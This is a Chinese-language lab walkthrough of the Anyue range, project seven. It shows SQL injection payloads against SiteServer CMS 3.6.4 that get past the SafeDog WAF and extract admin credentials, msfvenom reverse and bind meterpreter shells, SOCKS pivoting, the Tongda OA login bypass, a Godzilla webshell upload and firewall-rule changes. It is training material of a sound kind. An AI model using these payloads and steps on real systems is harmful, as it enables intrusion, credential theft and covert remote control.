暗月靶场-项目七

前言

  这个靶场因为环境问题,导致我没拿到域控。笑死,就算把防火墙等等防护软件都关了。ping都ping不通dc,也就不了了之。靶机下载,密码:3p47。暗月师傅亲自讲解视频

网络拓扑图

  

信息搜集

  web服务器扫到如下端口

21/tcp   open  ftp     Microsoft ftpd
80/tcp   open  http    Microsoft IIS httpd 10.0
999/tcp  open  http    Microsoft IIS httpd 10.0
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6588/tcp open  http    Microsoft IIS httpd 10.0

  打开http://www.moonlab.com/,后发现是空白页面。而对方使用了安全狗,所以目录扫描时速度不能太快,不然会被封。
  这里使用dirbledirble.exe -u http://www.moonlab.com/ -w "ASPX.TXT" -z 1 --code-whitelist 200
  
  查看http://www.moonlab.com/robots.txt,存在SiteServer
  
  访问SiteServer,cms版本为3.6.4,官网现在都是v7版本了,这套版本非常古老了
  

getshell

  3.6.4有非常多的漏洞,比如 http://www.moonlab.com/UserCenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20@@version=2;%20–,存在sql注入。
  
  参考mssql注入bypass安全狗这篇文章后,轻松绕过安全狗。
  获取当前数据库名test') and db_name()=~1; --,得到msmoonlab
  
  有个小技巧,获取其他数据库名只需要改为db_name(数字),比如获取第一个数据库名test') and db_name(1)=~1; --,一直这样遍历下去就可以获取所有数据库
  
  SiteServer CMS的表结构说明,有了表结构,直接查管理员用户名和密码
  用户名:admin
  payload test') and ~1=(select top 1 UserName from [bairong_Administrator]); --
  
  密码:64Cic1ERUP9n2OzxuKl9Tw==
  payload test') and ~1=(select top 1 Password from [bairong_Administrator]); --
  
  密钥:LIywB/zHFDTuEA1LU53Opg==
  payload test') and ~1=(select top 1 PasswordSalt from [bairong_Administrator]); --
  
  这还要解密,于是另辟蹊径,参考此文章siteserver cms获取管理员密码。成功复现。
  
  进入后台来到功能管理->站点文件管理,点击web文件夹
  
  点击T_xxx.aspx,发现可以编辑内容
  
  msf生成aspx马,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=4444 -f aspx -o shell.aspx
  将木马内容复制过去后保存
  
  msf启动监听器
  msf5 > handler -H 192.168.0.128 -P 4444 -p windows/meterpreter/reverse_tcp
  成功上线
  

代理与路由转发

  使用run post/multi/manage/autoroute,开启路由转发功能
  
  使用run arp_scanner -r 10.10.1.0/24,竟然连web的机器都漏扫了
  
  msf的主机发现功能属实拉了,还得看cs的主机发现
  
  在beacon上输入socks 7169,开启socks4代理
  
  回到kali,vi /etc/proxychains4.conf,配置socks4代理
  
  使用proxychains nmap -Pn -sT -p80,22,135,445,155,3389,3306 10.10.1.130 --open,就能用nmap扫描端口了,这也算个扩展内容吧。
  
  火狐设置好代理,端口号和下面的socks协议一定不要错
  
  

通达OA漏洞

  通达OA有个任意用户登录漏洞
  先来到火狐代理配置,要让http的流量给burp,所以http处也要配置与burp监听端口一致。
  
  点击登录后抓包,需修改以下三个地方: /logincheck.php改成/logincheck_code.php,删除cookie在post包中添加UID=1
  
  再点击Forward放包后,会来到此界面
  
  直接访问http://10.10.1.130/general/index.php进后台
  
  先用哥斯拉生成php webshell马子
  
  密码和密钥和加密器都可以自定义
  
  然后来到系统管理->附件管理->添加存储目录,并且勾选将所有新附件存至该目录。
  
  选择 组织->管理员->附件上传
  
  上传刚刚哥斯拉生成的木马,在后缀名后要加个.来绕过限制。得到id255@2110_1936760311和name2.php.*
  
  木马的路径为http://10.10.1.130/im/2110/1936760311.2.php
  现在要用哥斯拉连接木马,而哥斯拉的代理只支持socks5和http代理,所以还要配置socks5代理。
  来到msf使用use auxiliary/server/socks_proxy,我使用的msf6版本,各个版本配置不一样
  
  哥斯拉点击目标-添加
  我将哥斯拉安装到win10。所以这里的代理主机是kali的ip。代理类型选择SOCKS,而密码和密钥还有加密器要和前面生成的保持一致。
  
  成功连上后,执行命令是system权限,发现有360。
  
  如果终端出现乱码,换个其他的编码即可
  
  使用netsh advfirewall show allprofiles查看防火墙状态,开启了防火墙
  
  来到msf上面的web session上,先输入chcp 65001,解决终端乱码问题。查看web机上防火墙的状态,也是开启了防火墙。
  
  像这种双方都开启防火墙的情况下,如果不做任何处理,正向和反向连接都不能上线。这里我准备正向连接上线。
  先到oa上输入netsh advfirewall firewall add rule name="web3" protocol=TCP dir=in localport=7879 action=allow,意思是添加一个入站名叫web3,允许tcp端口7879入站。
  这里我执行后,出现了这种情况
  
  回到OA虚拟机上执行命令试试,正确执行
  
  netsh firewall show config查看防火墙配置,再次验证前面的命令是正确的。
  
  这个查了查没找到啥原因,那这样的话,有以下解决办法

1.在web机上设置防火墙策略,允许xxx端口进站,oa反向连接上线
2.使用 netsh advfirewall set allprofiles state off 关闭防火墙,oa正向连接上线
3.添加防火墙放行程序

  我现在要正向连接上线,选择动静最小的第3点。
  生成正向连接木马msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe -o 1.exe并做好免杀
  我将木马上传到了c:\1.exe
  
  把c:\1.exe添加进防火墙放行程序netsh firewall set allowedprogram C:\1.exe A ENABLE,查看防火墙放行程序netsh firewall show allowedprogram
  
  msf正向监听

msf6 exploit(multi/handler) > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 10.10.1.130
msf6 exploit(multi/handler) > set lport 6666
msf6 exploit(multi/handler) > run

  执行上线
  
  到这里打靶结束,没拿域控的原因看前言吧。。。。。。。

感谢文章和工具

dirble
mssql注入bypass安全狗
SiteServer CMS的表结构说明
通达OA前台任意用户登录漏洞+RCE漏洞复现
通达OA后台getshell
Godzilla
windows 下查看防火墙状态命令

查看评论 -
评论